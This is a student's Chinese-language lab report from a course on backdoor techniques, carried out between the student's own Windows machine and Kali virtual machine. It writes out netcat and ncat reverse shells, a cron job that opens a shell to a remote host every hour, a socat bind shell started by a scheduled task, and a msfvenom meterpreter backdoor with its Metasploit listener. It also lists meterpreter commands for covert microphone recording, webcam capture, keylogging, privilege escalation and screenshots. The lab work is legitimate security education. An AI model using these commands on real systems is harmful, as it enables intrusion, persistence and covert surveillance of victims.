Exp2 后门原理与实践-------20164325王晓蕊

Exp2 后门原理与实践

任务一:使用netcat获取主机操作Shell,cron启动 

1.windows获取linux shell

1.1 ipconfig  查看本机查看以太网适配器(8)的ipv4地址

1.2windows:  ncat.exe -l -p 4325  调用ncat.exe程序来蹲守本机的4325端口

 

1.3  nc 192.168.182.1 4325 –e /bin/sh  在Kali环境下,使用nc指令的-e参数反向连接Windows主机的4325端口:

2.linux获得windows shell

2.1 Kali :  ifconfig 命令查看IP

2.2  kali: nc –l –p 4325 使用nc指令蹲守4325端口。

 

2.3 Windows: ncat.exe –e cmd.exe 192.168.113.133 4325 调用ncat.exe程序并用-e参数反向连接Kali主机的4325端口。

3. 使用nc传输数据

3.1 ncat.exe –l 4325  Windows下蹲守4325端口

 

3.2  nc 192.168.182.1 4325 建立连接

 

3.3 之后就可以传输数据了,在kali上打字,windows主机屏幕上也会显示你打的内容。

4. 使用netcat获取主机操作Shell,cron启动

 

4.1 windows: ncat.exe -l -p 4325 监听本地4325端口

 

4.2crontab -e编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行(3号)。

点i进行编辑,在最后一行编辑 03* * * * /bin/netcat 192.168.182.1 4325 -e /bin/sh  ( :wq 保存退出),这里我选择的是每小时的第三分钟。

4.3 等到了10:03分的时候就可以在windows中查看了。

 

任务二:使用socat获取主机操作Shell, 任务计划启动

2.1在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”。

  • 名称:20164325

  • 新建触发器,选择开始任务时间为:工作站锁定时。

 

  • 新建操作,选择启动的程序为 socat.exe ,参数项填为  tcp-listen:43251 exec:cmd.exe,pty,stderr  ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上

 

  • 运行任务

2.2在kali终端输入指令  socat - tcp:192.168.113.1:43251 

注意:之前的任务我都是用的以太网适配器vmware network adapter vmnet1 在之前的任务中都可以成功,就是这个任务会出现问题,问了同学才知道,要用以太网适配器vmware network adapter vmnet8的ipv4,解决的问题

 

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell 

3.1Kali:  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.133 LPORT=4325 -f exe > 20164325_backdoor.exe ,注意这里的IP地址为控制端IP,即在kali上查的IP,可见已经生成了后门程序“ 20164325_backdoor.exe ”

 

3.2Windows: ncat.exe -lv 4325 > 20164325_backdoor.exe ,这样被控主机就进入了接收文件模式,开始传输中的时候是只有前两行,下面是连接上了,文件传输成功的截图

 

3.3在kali中执行 nc 192.168.1.155 4325 < 20164325_backdoor.exe ,注意这里的IP为被控主机IP,即WindowsIP (ps:这里我出现了问题,所以我就把三个可用的ipv4地址都试了一下,结果是无线局域网的可以使用)

在Kali上使用 msfconsole 指令进入msf控制台

 

  •  use exploit/multi/handler 使用监听模块,设置payload
  •  set payload windows/meterpreter/reverse_tcp ,使用和生成后门程序时相同的payload
  •  set LHOST 192.168.113.133 ,这里用的是kali IP,和生成后门程序时指定的IP相同
  •  set LPORT 4325 ,同样要使用相同的端口

3.5设置完成后,执行监听

(我是双击的后门文件,来开启的)以下是监听结果,开启后门文件之前就只有前一行。

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 

4.1目标主机音频

使用 record_mic 指令可以截获一段音频,可以用 -d 选项设置录制时间

 

4.2摄像头

 webcam_snap 指令可以使用摄像头进行偷拍

 webcam stream 指令可以使用摄像头进行录像

4.3击键记录

 keyscan_start 指令开始记录下击键的过程

 keyscan_dump 指令读取击键的记录

(第一行我实在命令行中输入的指令,随便输入的;第二行就是在word里面输入的,后面的一些东西是我按的空格)

4.4提权

 getuid 指令查看当前用户

 getsystem 指令进行提权

 

4.5截屏

 screenshot 指令可以进行截屏,效果如下:

 

五.实验总结与体会

这次实验我吸取了上次实验的教训,对虚拟机的操作更加的顺利,但是我在ip地址的部分出了很多问题,第一次实在任务三的时候;会出现攻击者的ip和被攻击者的ip混的情况,这也是没有清楚原理的表现,这种情况就是刚开始做的时候会出现,但是之后就不会出现这种问题了;还有一个问题,就是要随时检查windows的ip和kali的ip,避免实验出现问题。做任务四的时候真的感受到了恐怖,之后一定会对自己的电脑做好防护。

六.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

 答:这个实验中的后门就是运行一个程序,双击就能开启后门,让人监听;所以我觉得它可能无处不在,会在软件里双击打开,或者安装时就会出现;我觉得还会在网页中打开吧,比如说有一个链接,就会连着后门文件;应该也会潜在下载的文件啊啥的,能打开的东西上。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

 答:伪装吧,让计算机中的防火墙和杀毒软件不会直把它灭掉,以为是什么其他的安全软件;我觉得还可能是更改被攻击主机的什么设置,让主机找不到这个后门。

像实验中所说的:Linux可以使用cron启动,Windows下通过任务计划来启动后门程序。

(3)Meterpreter有哪些给你映像深刻的功能?

 答:获取摄像头权限进行拍照和视频,录音,提升用户权限等等都很恐怖深刻。

(4)如何发现自己有系统有没有被安装后门?

答:杀毒软件等等的那种防护检查漏洞的软件,来检查是否安装后门。

posted on 2019-03-22 19:47  我最酷ccc  阅读(199)  评论(0编辑  收藏